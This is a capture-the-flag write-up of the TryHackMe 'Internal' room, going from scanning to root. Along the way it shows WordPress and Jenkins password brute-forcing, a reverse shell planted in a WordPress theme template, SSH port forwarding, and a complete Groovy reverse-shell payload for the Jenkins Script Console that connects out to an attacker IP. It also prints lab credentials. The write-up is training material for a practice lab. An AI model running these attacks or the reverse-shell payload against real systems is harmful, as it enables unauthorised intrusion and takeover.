Hosts File Configuration

Add the domain internal.thm to the /etc/hosts file

nano /etc/hosts
10.113.175.55   internal.thm
None

Reconnaissance

Perform a comprehensive port scan on the target using Nmap

nmap -Pn -A -p- -T4 10.113.175.55
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 6e:fa:ef:be:f6:5f:98:b9:59:7b:f7:8e:b9:c5:62:1e (RSA)
|   256 ed:64:ed:33:e5:c9:30:58:ba:23:04:0d:14:eb:30:e9 (ECDSA)
|_  256 b0:7f:7f:7b:52:62:62:2a:60:d4:3d:36:fa:89:ee:ff (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=4/21%OT=22%CT=1%CU=41489%PV=Y%DS=1%DC=T%G=Y%TM=69E7F97
OS:7%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=109%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(O1=M2301ST11NW7%O2=M2301ST11NW7%O3=M2301NNT11NW7%O4=M2301ST11NW7%O5=M23
OS:01ST11NW7%O6=M2301ST11)WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4
OS:B3)ECN(R=Y%DF=Y%T=40%W=F507%O=M2301NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A
OS:=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%
OS:Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=
OS:A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=
OS:Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%
OS:T=40%CD=S)

Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 256/tcp)
HOP RTT     ADDRESS
1   0.99 ms 10.113.175.55

There are only two ports open: SSH and HTTP

Web Application Enumeration

http://internal.thm/
None

Run dirsearch to discover hidden directories

dirsearch -u http://internal.thm/
[23:41:14] 301 -  311B  - /blog  ->  http://internal.thm/blog/
[23:41:14] 200 -    2KB - /blog/wp-login.php
[23:41:14] 200 -   18KB - /blog/
[23:41:31] 301 -  317B  - /javascript  ->  http://internal.thm/javascript/
[23:41:44] 301 -  317B  - /phpmyadmin  ->  http://internal.thm/phpmyadmin/
[23:41:45] 200 -    3KB - /phpmyadmin/
[23:41:46] 200 -    3KB - /phpmyadmin/index.php
[23:41:46] 200 -    3KB - /phpmyadmin/doc/html/index.html
[23:41:53] 403 -  277B  - /server-status
[23:41:53] 403 -  277B  - /server-status/
[23:42:10] 404 -   51KB - /wordpress/
[23:42:10] 200 -    2KB - /wordpress/wp-login.php

Navigating to http://internal.thm/blog confirms WordPress is running with the default theme

None
http://internal.thm/blog/wp-login.php
None

WordPress Enumeration

WPScan for User Discovery

using WPScan to enumerate Users

wpscan --url http://internal.thm/blog --enumerate u
None

The scanner identifies the username admin as a valid WordPress user

None

XML-RPC is WordPress's API that allows remote actions like:

  • Posting/editing content
  • Uploading files
  • Listing users
  • Pingbacks (link notifications)

system.multicall for batching multiple requests

Normally, one login attempt = one HTTP request. With XML-RPC's system.multicallI can pack hundreds of login attempts into a single HTTP request

Brute-Forcing the Admin Password

Since XML-RPC is enabled, and I have a valid username adminI can attack it directly through brute-forcing the password using WPScan

wpscan --url http://internal.thm/blog -U admin -P /usr/share/wordlists/rockyou.txt --detection-mode aggressive
None

and found the admin credentials successfully

UserName : admin
Password : my2boys

Initial Access — Reverse Shell via Theme Editor

Log in to the admin account

None

Modifying the 404.php Template

Navigate to Appearance → Theme Editor. The active theme (Twenty Seventeen) allows editing PHP template files.

Select the 404.php template — this file is executed when a page is not found, making it an excellent trigger point for code execution.

None

Replace its contents with a PHP reverse shell

None

Start a listener before triggering the shell

nc -lvnp 4444

Execute the Modified 404. php from the following path

http://internal.thm/blog/wp-content/themes/twentyseventeen/404.php
None

A reverse shell connection is established as the www-data user

Privilege Escalation

By exploring the Opt directory, I found that the credentials for 'aubreanna' have been saved in the wp-save.txt file.

None
UserName : aubreanna
password : bubb13guM!@#123

SSH Access as aubreanna

ssh aubreanna@10.113.175.55

Once logged in, locate and read the user flag

None

By discovering the content of the jenkins.txt file and found the following

Jenkins is running on 172.17.0.2:8080

This indicates Jenkins is running inside a Docker container (the IP 172.17.0.2 is a default Docker bridge network address) and is not directly exposed to the attacker's machine

None

SSH Local Port Forwarding

Since Jenkins is running on an internal Docker network, I need to forward the port to access it from my machine.

I'll use SSH local port forwarding:

ssh -L 8080:172.17.0.2:8080 aubreanna@internal.thm
Password: bubb13guM!@#123
None

Now I can access Jenkins http://localhost:8080 on my browser.

None

Jenkins Login Brute Force

Jenkins requires authentication. Common default credentials to test manually:

  • admin: admin
  • jenkins:jenkins
  • admin: password

When these fail, I'll use Hydra for a more systematic approach:

Use Burp Suite to get the request and the response in order to use Hydra correctly.

None
hydra -l admin -P /usr/share/wordlists/rockyou.txt localhost -s 8080 http-post-form "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid username or password"

After some time, Hydra finds valid credentials:

Jenkins Credentials:

Username: admin
Password: spongebob
None
None

Jenkins Script Console RCE

Jenkins provides a feature called the Script Console (found at Manage Jenkins → Script Console) that allows administrators to execute Groovy scripts on the Jenkins server. Access to this console with administrative privileges leads to Remote Code Execution (RCE)

http://127.0.0.1:8080/script

In the Script Console, enter the following Groovy code

String host="10.113.104.196";
int port=4446;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Start a Netcat listener before running the script:

nc -lvnp 4446
None

Click Run in the Script Console. The Groovy script executes and establishes a reverse shell connection

Finding Root Credentials

by discovering the file called note.txt, which was in the /opt directory, I found the root credentials.

None
Username : root
Password : tr0ub13guM!@#123

SSH Access as Root

ssh root@10.113.175.55
None

Once logged in, locate and read the root flag

Finally, thank you very much for reading to the end. I hope you found this article interesting.

Room Link: https://tryhackme.com/room/internal

TryHackMe: https://tryhackme.com/p/AbdallahSamir

LinkedIn: Abdallah Samir | LinkedIn

X(Twitter): https://x.com/abdalla_jr7